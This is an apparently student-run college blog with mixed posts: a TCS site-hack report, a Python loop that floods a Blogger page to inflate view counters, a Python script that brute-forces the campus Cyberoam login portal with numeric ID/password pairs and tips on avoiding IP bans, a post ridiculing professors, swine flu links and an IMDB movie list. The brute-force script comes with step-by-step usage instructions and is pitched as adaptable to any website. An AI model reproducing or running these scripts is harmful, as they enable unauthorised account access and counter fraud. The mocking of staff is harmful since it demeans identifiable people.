TCS official website HACKED !!!!!!!!!!!!!!!

It seems that the official website of Tata Consultancy Services ( http://www.tcs.com ), which is a placement-time saviour for BIT Mesra and man other institutes ( :P ) has been HACKED. The site now contains some text in french and english. It is suspected to be a type of DNS Hijacking . For a tutorial on DNS hijacking visit BITproxy Educational section.
Here is the screenshot.

INCREASE YOUR BLOGGER profile views 100 times in few minutes !!!

You must have noticed the dumb counters on some of the webpages. Now some of these counters do track users ip and then increment the count. Buy mostly dont.Google's own blogger.com's profile page or this place where you are reading this blog counts people just on the basis of hits. NOW THE INTERESTING PART .


You can increase your counters exponentially in just few minutes. Here is the python code to do that. The instructions to run this code are given in my previous post..
-----------COPY FROM HERE-----------------



import urllib




while(1):
    a = urllib.urlopen('http://www.blogger.com/profile/16674273246363106243')
    b = a.read()
    print ('DONE')

----------COPY UPTO HERE----------------
If you are facing problems consider reading Python syntax as while copying from here you may get errors as Python has no braces and tabs are its indentation marks.


 You may consider giving short breaks or you may end up with this page or even your account may be suspended. 

**NOTE THE URL IS OF MY BLOGGER PROFILE . CHANGE IT TO YOUR PROFILE URL OR ANY PAGE WITH COUNTERS ELSE GOOGLE WILL BAN MY ACCOUNT DUE TO YOU.
** THIS WILL EAT UP YOUR 100 mb LIMIT IF YOU ARE IN BIT MESRA OTHERWISE FOR PEOPLE ELSEWHERE SKY IS THE LIMIT FOR YOUR COUNTERS.
** GOOGLE MAY  NOTICE THIS AND WILL RECTIFY ... SO THIS MAY STOP WORKING AFTER SOMETIME. BUT IT WILL WORK FOR OTHER SITES TOO :P

CYBEROAM PROF ID's HACKING CODE

Lately I have been getting much amount of queries about  Prof ID's or IDs which have no limit on download or time restrictions. So I am giving out the code which I wrote to scan the IDs. Note that this code can be used to brute force any website (obviously without a captcha or image based identification system.) with some minor modifications and a good dictionary.

STEPS TO GET PROF ID's ( Ids with same numeric username and password)

1. Download Python IDE from http://www.python.org (not python.com !!!!). I have been using 2.5.1 and recommend the same.

2. Install normally

3. Open Notepad

4. Copy the following code in it or skip steps 2 n 3 n download the file from http://www.bitproxy.co.cc/data/cyberoam.py

-----------------COPY AFTER HERE----------------

# Cyberaom Prof IDs hacking code

# @author Abhishek Anand, BIT Mesra

# feel free to modify this code but do mail your code to:

codebase@bitproxy.co.cc

import urllib

import time

#this is the range of Ids to check

checkList = range(1,10000)

for i in checkList:

     userid =str(i)

     password= str(i)

     # here a post request is being made to the CyberoamHTTPClient servelet

     # for any other site view its form's source nd make a dictionary of

elements

     dataToSend = urllib.urlencode({'mode': '191','isAccessDenied': '', 'url':

'', 'username': userid, 'password': password, 'saveinfo': '',  })

     postRequest =

urllib.urlopen("http://172.16.1.1:8090/corporate/servlet/CyberoamHTTPClient",

dataToSend)

     responseData = postRequest.read()

     # reading the faltu string from the output to verify

     if not responseData.count('Make+sure+your+password+is+correct'):

          print userid

      # time to stop scanning before opening URL

          time.sleep(1)

          # here I m opening my Foxy's Updata File :P

          openURLToCheck =

urllib.urlopen("http://www.bitproxy.co.cc/data/file.txt")

          checkData = openURLToCheck.read()

          if checkData.count('2k8'):

               print '------------------------------------------'

               print ' ID FOUND !!!!!    ID FOUND !!!! ID FOUND!!!!'

               print '------------------------------------------'

               print password

    # stopping after 80 checks to prevent temporary IP banning by stupid

Cyberoam

     if i%80 == 0:

          print 'SCAN COMPLETED UPTO ' + str(i)

          time.sleep(3)

         

    

-----------------COPY UPTO HERE--------------------

5. Save the file with .py extension (e.g. hacker.py)

6. Now open the place where you have saved the file.

7. Right click on the file and select 'Edit with IDLE'

8. From the menu options run the program or press F5

9. The OUTPUT will generate both dead and working IDs.

10. ID FOUND !!! ID FOUND !!! means a working ID has been found.

**  You can implement the same thing in Java using Java.net.* libraries. but

it may take more lines of codes.

**  Please donot use this code on your friends IDs. :P

For any help feel free to mail me at:  opensource@bitproxy.co.cc

Abhishek Anand

Wanna be a co-owner of this blog ????

If you want to contribute to this blog as a co-owner then just write to me at my mail address or just put a comment here in reply to this post mentioning your name and email address.

for Web and Spiderman

Dictators of BIT Mesra

Some names have been intentionally changed so as to hide the identity of victims and others.

We are just standing up for a cause.If we hurt anybody's feelings we are extremely sorry about that.We deeply respect the persons referred below.

Copyright Web and Spiderman, 2009


LIST OF DICTATORS (you can add your experiences as comments)

• 'Laal Baal' alias Ajmal Kasab :

Identification mark - constantly shouts at students and teachers in hindi. Demoralizes students and gives alltogether wrong concepts for e.g. one day he told us about polymomial function being discontinuous at some points.

• Mechanics Lab Incharge alias 'Budhau Sir'

Identification mark - suddh hindi ke saath kuch acche comments apke t-shirt aur jeans ke baare mein aur in case you are a girl then things which must not be mentioned here.
'Sampul calculation karna hai' is his tagline. You may wonder when will he retire.

budhau ki hawas ke shikar students:
1. 'MSTC wala ladka' and 'idhar aa.....accha chor' waala ladka -

inn massomo ko kya pata tha ki unke 2 classes ki mehnat pe paani phirne jaa raha hai. jaalim ne index page ko hi itni bedardi se kaata ki wo phatne ki kagaar pe aa gaya.

2. Mr. Bablu Werewolf -

ghor beijyatti .......'ye ladka bhondu hai, isse kuch nahi aata.......kya hostel ka khana kha ke motaa rahe ho sirf....' itna kehkar jaalim ne file phekkar uske muh pe maara par bachpan ka cricket kaam aaya nahi to aaj naak phut gaye hoti......... itna hone se pehle bablu bhag kyu nahi gaya....aur ek baat chamiya ki 'medamji' aur unki 'saheli' ne bablu ki sahayata karne ki koi koshish nahi ki...i feel truly sorry for bablu. lets pray for bablu.

3. Me

jaalim : 'andha ho gaya hai kya ji.......kya likha hai'
me : 'sir wo calculate karke direct answer likhe hai'
jaalim : 'pagal ho kya ji....kahi se chap ke likh loge aur kahoge ki calculator se kiye hai. ye kya likha hai...moment of inertia ka unit kya hota hai?'
me : 'kg m2'
jaalim :'kaise ji....tum log yeha par kaise aa gaye ho.....12 me kuch padhe


4. Neo <<>>
jaalim : 'jhandi-maar t-shirt pehen ke kyu aa jate ho'
ab batayiye t-shirt ka mechanics lab se kya sambandh......

5. Anonumous <<>>

jaalim : 'kitna gpa aaya hai ji'
anonymous : ' sir 8.35'
jaalim : 'samajh me nahi aata, kaise e log ko itna gpa aa jata hai


6. jaalim ka assistant
you must be thinking how can somebody work under jalim....par kya kare naukri hai...karni parti hai.....
our source overheard following piece of conversation between jaalim and the victim ---

jaalim : 'accha ek chij bataiye toh, e jo pankha hai,e beam me kahe latka hai...aur bhi to jagah hai idhar udhar..'
assistant : 'sir.......sir..........sir'
jaalim : 'sochiye sochiye'
jaalim : 'beam mota hota hai,isiliye pakar majboot hota hai......he he he...e sab purana jamana ka baat hai...aaj kal ke log ko e sab thore hi pataa'


( to be continued.............)

All you need to know about Swine flu

H1N1 Flu (Swine Flu): General Information

Unfortunately, swine flu has reached India.Here is a comprehensive information base which will tell you about everthing you want to know about swine flu. Read and tell others too.

• H1N1 Flu & You
  What is novel H1N1 flu? Updated August 5, 2009
• What To Do if You Get Flu-Like Symptoms Updated August 5, 2009
• Antiviral Drugs
• Taking Care of a Sick Person in Your Home Updated August 5, 2009
• Novel H1N1 Vaccine: Q & A Updated Aug 3, 2009
• Facemask & Respirator Use Updated August 5, 2009
• Emergency Use Authorization (EUA) of Medical Products and Devices
• Audio & Video Resources
  Podcasts, public service announcements, press briefings, and webcasts
• Social Media
  Widgets, mobile info, buttons, videos, podcasts, e-cards, RSS feeds, twitter/microblogs updates, image sharing, social networking
• Flyers & Other Print Materials

See also Information for Specific Groups.

See also Background Information on Influenza in Pigs.

( taken from http://www.cdc.gov)

Chrome is now skinnable !

Yes ,you heard it right.The fastest browser (you can comment on this) can now wear clothes like Firefox. To try just download the beta Google Chrome (BETA) from here.

Try it out now.

Top 250 movies to watch-- (open to arguments) source: IMDB

Rank	Rating	Title	Votes
1.	9.1	The Shawshank Redemption (1994)	437,602
2.	9.1	The Godfather (1972)	360,528
3.	9.0	The Godfather: Part II (1974)	210,471
4.	8.9	Il buono, il brutto, il cattivo. (1966)	130,634
5.	8.9	Pulp Fiction (1994)	358,107
6.	8.9	Schindler's List (1993)	238,114
7.	8.8	The Dark Knight (2008)	383,925
8.	8.8	12 Angry Men (1957)	94,425
9.	8.8	One Flew Over the Cuckoo's Nest (1975)	182,835
10.	8.8	Star Wars: Episode V - The Empire Strikes Back (1980)	244,712
11.	8.8	Casablanca (1942)	148,599
12.	8.8	Star Wars (1977)	287,312
13.	8.8	The Lord of the Rings: The Return of the King (2003)	314,623
14.	8.8	Shichinin no samurai (1954)	84,628
15.	8.7	Goodfellas (1990)	196,958
16.	8.7	Rear Window (1954)	102,992
17.	8.7	Cidade de Deus (2002)	138,803
18.	8.7	Raiders of the Lost Ark (1981)	217,061
19.	8.7	C'era una volta il West (1968)	61,607
20.	8.7	Fight Club (1999)	325,391
21.	8.7	The Lord of the Rings: The Fellowship of the Ring (2001)	341,814
22.	8.7	The Usual Suspects (1994)	235,554
23.	8.7	Psycho (1960)	124,197
24.	8.6	The Silence of the Lambs (1991)	213,027
25.	8.6	Up (2009)	30,169
26.	8.6	Sunset Blvd. (1950)	46,459
27.	8.6	The Matrix (1999)	332,037
28.	8.6	Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb (1964)	139,292
29.	8.6	Memento (2000)	233,679
30.	8.6	North by Northwest (1959)	81,481
31.	8.6	It's a Wonderful Life (1946)	89,294
32.	8.6	Se7en (1995)	237,823
33.	8.6	The Lord of the Rings: The Two Towers (2002)	286,284
34.	8.6	Citizen Kane (1941)	124,236
35.	8.6	Léon (1994)	168,368
36.	8.6	Apocalypse Now (1979)	152,490
37.	8.6	American Beauty (1999)	258,205
38.	8.5	Taxi Driver (1976)	133,184
39.	8.5	American History X (1998)	191,040
40.	8.5	Vertigo (1958)	79,769
41.	8.5	Lawrence of Arabia (1962)	70,627
42.	8.5	Forrest Gump (1994)	255,159
43.	8.5	WALL·E (2008)	140,858
44.	8.5	Paths of Glory (1957)	38,448
45.	8.5	Le fabuleux destin d'Amélie Poulain (2001)	155,513
46.	8.5	Double Indemnity (1944)	31,692
47.	8.5	M (1931)	34,242
48.	8.5	Alien (1979)	155,614
49.	8.5	To Kill a Mockingbird (1962)	73,029
50.	8.5	A Clockwork Orange (1971)	167,974
51.	8.5	The Treasure of the Sierra Madre (1948)	28,591
52.	8.5	The Shining (1980)	151,810
53.	8.5	Terminator 2: Judgment Day (1991)	203,137
54.	8.5	Saving Private Ryan (1998)	237,023
55.	8.5	The Third Man (1949)	44,624
56.	8.5	The Departed (2006)	221,419
57.	8.5	Das Leben der Anderen (2006)	58,413
58.	8.5	The Pianist (2002)	111,006
59.	8.4	Chinatown (1974)	67,974
60.	8.4	City Lights (1931)	22,742
61.	8.4	Sen to Chihiro no kamikakushi (2001)	84,067
62.	8.4	Eternal Sunshine of the Spotless Mind (2004)	187,885
63.	8.4	Aliens (1986)	147,419
64.	8.4	L.A. Confidential (1997)	147,417
65.	8.4	Requiem for a Dream (2000)	156,866
66.	8.4	Das Boot (1981)	62,394
67.	8.4	Monty Python and the Holy Grail (1975)	138,807
68.	8.4	The Bridge on the River Kwai (1957)	51,910
69.	8.4	Reservoir Dogs (1992)	183,451
70.	8.4	Slumdog Millionaire (2008)	133,507
71.	8.4	El laberinto del fauno (2006)	127,706
72.	8.4	Raging Bull (1980)	78,079
73.	8.4	All About Eve (1950)	30,848
74.	8.4	The Maltese Falcon (1941)	45,473
75.	8.4	Rashômon (1950)	33,401
76.	8.4	Modern Times (1936)	30,116
77.	8.4	Singin' in the Rain (1952)	48,381
78.	8.4	Gran Torino (2008)	82,601
79.	8.4	Some Like It Hot (1959)	58,673
80.	8.3	Rebecca (1940)	30,736
81.	8.3	Der Untergang (2004)	68,246
82.	8.3	The Prestige (2006)	166,812
83.	8.3	Metropolis (1927)	33,515
84.	8.3	The Apartment (1960)	31,077
85.	8.3	Amadeus (1984)	84,804
86.	8.3	The Elephant Man (1980)	49,579
87.	8.3	Nuovo cinema Paradiso (1988)	38,527
88.	8.3	La vita è bella (1997)	92,644
89.	8.3	2001: A Space Odyssey (1968)	141,184
90.	8.3	The Great Dictator (1940)	31,198
91.	8.3	Once Upon a Time in America (1984)	61,414
92.	8.3	Ladri di biciclette (1948)	22,630
93.	8.3	Full Metal Jacket (1987)	130,372
94.	8.3	Back to the Future (1985)	173,210
95.	8.3	Mr. Smith Goes to Washington (1939)	29,237
96.	8.3	The Great Escape (1963)	53,907
97.	8.3	The Sting (1973)	57,502
98.	8.3	Sin City (2005)	221,226
99.	8.3	Touch of Evil (1958)	28,451
100.	8.3	Braveheart (1995)	211,298
101.	8.3	On the Waterfront (1954)	35,687
102.	8.3	Star Trek (2009)	80,115
103.	8.3	Det sjunde inseglet (1957)	31,376
104.	8.3	Hotel Rwanda (2004)	78,120
105.	8.3	Batman Begins (2005)	235,165
106.	8.3	Indiana Jones and the Last Crusade (1989)	152,622
107.	8.3	Jaws (1975)	120,844
108.	8.3	The Green Mile (1999)	167,444
109.	8.3	The Wrestler (2008)	64,735
110.	8.3	Strangers on a Train (1951)	29,264
111.	8.3	No Country for Old Men (2007)	166,490
112.	8.3	Unforgiven (1992)	83,698
113.	8.3	Star Wars: Episode VI - Return of the Jedi (1983)	187,654
114.	8.3	Blade Runner (1982)	163,934
115.	8.3	Gladiator (2000)	239,867
116.	8.2	Notorious (1946)	27,191
117.	8.2	The Manchurian Candidate (1962)	31,109
118.	8.2	Oldboy (2003)	78,556
119.	8.2	Die Hard (1988)	157,440
120.	8.2	Per qualche dollaro in più (1965)	35,678
121.	8.2	High Noon (1952)	29,910
122.	8.2	The Big Sleep (1946)	25,247
123.	8.2	Cool Hand Luke (1967)	39,097
124.	8.2	Fargo (1996)	145,989
125.	8.2	The Wizard of Oz (1939)	90,440
126.	8.2	The General (1926)	17,055
127.	8.2	Witness for the Prosecution (1957)	15,154
128.	8.2	Mononoke-hime (1997)	56,054
129.	8.2	There Will Be Blood (2007)	108,787
130.	8.2	Smultronstället (1957)	17,902
131.	8.2	Donnie Darko (2001)	181,591
132.	8.2	It Happened One Night (1934)	21,520
133.	8.2	Heat (1995)	125,049
134.	8.2	Kind Hearts and Coronets (1949)	11,064
135.	8.2	Yojimbo (1961)	25,127
136.	8.2	Annie Hall (1977)	56,644
137.	8.2	Ran (1985)	30,153
138.	8.2	The Deer Hunter (1978)	76,422
139.	8.2	Ben-Hur (1959)	50,901
140.	8.2	The Sixth Sense (1999)	211,463
141.	8.2	Les diaboliques (1955)	11,883
142.	8.2	Judgment at Nuremberg (1961)	11,800
143.	8.2	Platoon (1986)	94,887
144.	8.2	Kill Bill: Vol. 1 (2003)	199,238
145.	8.2	Into the Wild (2007)	73,919
146.	8.2	Le salaire de la peur (1953)	11,774
147.	8.2	Le notti di Cabiria (1957)	9,085
148.	8.2	Million Dollar Baby (2004)	118,965
149.	8.2	Butch Cassidy and the Sundance Kid (1969)	50,226
150.	8.1	The Bourne Ultimatum (2007)	121,700
151.	8.1	The Grapes of Wrath (1940)	20,191
152.	8.1	8½ (1963)	24,384
153.	8.1	Life of Brian (1979)	81,857
154.	8.1	(500) Days of Summer (2009)	3,826
155.	8.1	Snatch. (2000)	145,831
156.	8.1	The Big Lebowski (1998)	151,447
157.	8.1	The Gold Rush (1925)	17,758
158.	8.1	The Graduate (1967)	67,438
159.	8.1	The Night of the Hunter (1955)	21,722
160.	8.1	Stand by Me (1986)	78,457
161.	8.1	Finding Nemo (2003)	140,076
162.	8.1	The Killing (1956)	21,238
163.	8.1	Ratatouille (2007)	108,969
164.	8.1	Gandhi (1982)	43,508
165.	8.1	Dog Day Afternoon (1975)	50,678
166.	8.1	Brief Encounter (1945)	11,145
167.	8.1	Amores perros (2000)	52,335
168.	8.1	Gone with the Wind (1939)	68,090
169.	8.1	The Lion King (1994)	112,822
170.	8.1	Trainspotting (1996)	131,083
171.	8.1	Sunrise: A Song of Two Humans (1927)	9,318
172.	8.1	Scarface (1983)	129,479
173.	8.1	The Thing (1982)	65,279
174.	8.1	Groundhog Day (1993)	115,941
175.	8.1	The Terminator (1984)	154,019
176.	8.1	Sleuth (1972)	14,680
177.	8.1	The Wild Bunch (1969)	27,000
178.	8.1	Harvey (1950)	20,272
179.	8.1	V for Vendetta (2005)	188,720
180.	8.1	The Kid (1921)	10,955
181.	8.1	Toy Story (1995)	122,031
182.	8.1	The Best Years of Our Lives (1946)	15,130
183.	8.1	The Hustler (1961)	22,087
184.	8.1	Umberto D. (1952)	7,249
185.	8.1	Shadow of a Doubt (1943)	18,136
186.	8.1	The Hangover (2009)	55,115
187.	8.1	The Princess Bride (1987)	112,448
188.	8.1	The Incredibles (2004)	136,238
189.	8.1	Twelve Monkeys (1995)	147,115
190.	8.1	Lock, Stock and Two Smoking Barrels (1998)	106,573
191.	8.1	Stalag 17 (1953)	18,101
192.	8.1	Children of Men (2006)	133,791
193.	8.1	Casino (1995)	92,365
194.	8.0	Hotaru no haka (1988)	28,459
195.	8.0	The Lady Vanishes (1938)	15,248
196.	8.0	Duck Soup (1933)	23,213
197.	8.0	The Curious Case of Benjamin Button (2008)	102,365
198.	8.0	Dial M for Murder (1954)	24,765
199.	8.0	The African Queen (1951)	30,029
200.	8.0	The Ox-Bow Incident (1943)	7,756
201.	8.0	La battaglia di Algeri (1966)	11,347
202.	8.0	Anatomy of a Murder (1959)	13,761
203.	8.0	In Bruges (2008)	72,891
204.	8.0	A Streetcar Named Desire (1951)	28,947
205.	8.0	Letters from Iwo Jima (2006)	46,424
206.	8.0	King Kong (1933)	33,646
207.	8.0	The Adventures of Robin Hood (1938)	20,229
208.	8.0	Who's Afraid of Virginia Woolf? (1966)	16,403
209.	8.0	Låt den rätte komma in (2008)	32,982
210.	8.0	The Lost Weekend (1945)	10,453
211.	8.0	The Exorcist (1973)	88,740
212.	8.0	La strada (1954)	14,945
213.	8.0	The Conversation (1974)	28,031
214.	8.0	His Girl Friday (1940)	17,991
215.	8.0	Safety Last! (1923)	4,593
216.	8.0	Ed Wood (1994)	64,056
217.	8.0	Rope (1948)	26,312
218.	8.0	Le scaphandre et le papillon (2007)	23,573
219.	8.0	Rosemary's Baby (1968)	42,171
220.	8.0	Changeling (2008)	43,484
221.	8.0	Bonnie and Clyde (1967)	35,323
222.	8.0	All Quiet on the Western Front (1930)	18,394
223.	8.0	Sweet Smell of Success (1957)	7,646
224.	8.0	Manhattan (1979)	33,223
225.	8.0	Network (1976)	27,955
226.	8.0	Crash (2004/I)	149,629
227.	8.0	The Philadelphia Story (1940)	24,517
228.	8.0	Frankenstein (1931)	20,282
229.	8.0	Patton (1970)	34,662
230.	8.0	Arsenic and Old Lace (1944)	26,115
231.	8.0	Kill Bill: Vol. 2 (2004)	155,906
232.	8.0	Laura (1944)	12,342
233.	8.0	Great Expectations (1946)	8,592
234.	8.0	Big Fish (2003)	119,438
235.	8.0	Magnolia (1999)	108,332
236.	8.0	The Day the Earth Stood Still (1951)	30,159
237.	8.0	Good Will Hunting (1997)	128,637
238.	8.0	Mystic River (2003)	100,197
239.	8.0	My Man Godfrey (1936)	6,915
240.	8.0	Wo hu cang long (2000)	98,139
241.	8.0	Roman Holiday (1953)	26,858
242.	8.0	Glory (1989)	50,492
243.	8.0	Rocky (1976)	79,839
244.	8.0	Nosferatu, eine Symphonie des Grauens (1922)	25,531
245.	8.0	Little Miss Sunshine (2006)	128,760
246.	8.0	La dolce vita (1960)	17,152
247.	8.0	In the Heat of the Night (1967)	20,204
248.	8.0	Harold and Maude (1971)	25,199
249.	8.0	Bringing Up Baby (1938)	21,011
250.	8.0	Planet of the Apes (1968)	49,637